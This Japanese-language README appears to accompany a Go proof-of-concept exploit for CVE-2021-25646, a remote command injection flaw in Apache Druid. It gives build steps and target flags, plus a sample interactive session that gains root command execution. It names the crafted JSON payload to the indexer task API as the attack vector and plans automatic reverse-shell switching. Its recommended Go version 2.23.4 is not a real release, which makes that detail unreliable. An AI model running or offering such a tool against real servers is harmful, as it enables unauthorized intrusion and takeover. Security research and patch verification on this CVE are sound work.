CVE-2021-25646 概念実証（Go版）

概要

このリポジトリは、Apache Druid における深刻なリモートコード実行の脆弱性 CVE-2021-25646 の概念実証（PoC）エクスプロイトを含んでいます。
このエクスプロイトは Go で書かれており、ターミナルを介した対話的なコマンドインジェクションを可能にします。

特徴

• 対話型コマンドインジェクション:
  対話型シェルインターフェースを通じて、脆弱な Apache Druid サーバー上で任意のコマンドを実行できます。

ビルド

Go がインストールされている必要があります（バージョン 2.23.4 推奨）。

go build .

これにより、カレントディレクトリにバイナリが生成されます。

使い方

バイナリをビルドして実行するか、go run で直接実行できます。

コマンドラインオプション

• -i : 対象DruidサーバーのIPアドレス（必須）
• -p : 対象Druidサーバーのポート（必須）
• -proxy : プロキシURLを指定（オプション）

例

ビルドしたバイナリを実行:

./cve -i 127.0.0.1 -p 8888

または Go で直接実行:

go run main.go -i 127.0.0.1 -p 8888

実行例

$ ./cve -i 127.0.0.1 -p 8888
~ $ whoami
root
~ $ uname -a
Linux druid-server 4.15.0-123-generic #126-Ubuntu SMP ...

技術詳細

• 脆弱性:
  このエクスプロイトは、Druid の indexer コンポーネント、特に task API における不適切な入力検証を悪用し、巧妙に細工されたJSONペイロードによるコマンドインジェクションを可能にします。

• 参考文献:

  • CVE-2021-25646 - NVD
  • Apache Druid Security Advisory

今後の予定

• HTTPSのサポートを追加
• リバースシェルへの自動切り替え
• よりネイティブなコマンドプロンプトの操作感

免責事項

このソフトウェアは教育目的のみで提供されています。
作者は、このコードの誤用や損害について一切の責任を負いません。
いかなるシステムをテストする前に、必ず適切な許可を得てください。